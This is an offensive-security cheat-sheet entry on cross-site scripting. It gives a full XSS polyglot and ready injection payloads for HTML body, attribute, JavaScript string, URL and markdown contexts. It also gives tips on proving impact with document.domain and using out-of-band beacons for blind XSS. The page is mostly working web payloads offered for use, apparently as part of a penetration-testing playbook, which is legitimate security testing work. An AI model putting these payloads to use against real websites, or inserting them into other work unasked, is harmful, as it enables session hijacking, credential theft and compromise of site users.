XSS polyglots & per-context payloads
When it applies
You want one payload that reveals reflection/execution regardless of where it lands, then a
context-specific finisher once you know the spot. Pairs with web-xss.
Why it works
A polyglot is crafted to be syntactically valid (and break out) in multiple contexts at once — HTML body, attribute, JS string, comment — so a single injection surfaces the vulnerable context.
Payloads
Polyglot (fires broadly):
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Per context (once you know where you landed):
- HTML body:
<svg> - Attribute (break out first):
"><svg> or" autofocus x=" - JS string:
';alert(document.domain)//or</script><svg> - URL/href:
javascript:alert(document.domain) - Markdown:
[x](javascript:alert(1))/ - Attribute w/o quotes:
x
WAF-resistant variants: see payloads-waf-bypass (event/tag variety, encoding, no-parens).
Gotchas
- Prove real impact with
document.domain(right origin), not sandboxedalert(1). - Blind/stored XSS: use an OOB payload that beacons to your collaborator instead of
alert. - If it reflects encoded, you have the right context but wrong breakout — adjust, don't add tags.
References
PortSwigger XSS cheat sheet; 0xsobky "Unleashing an Ultimate XSS Polyglot".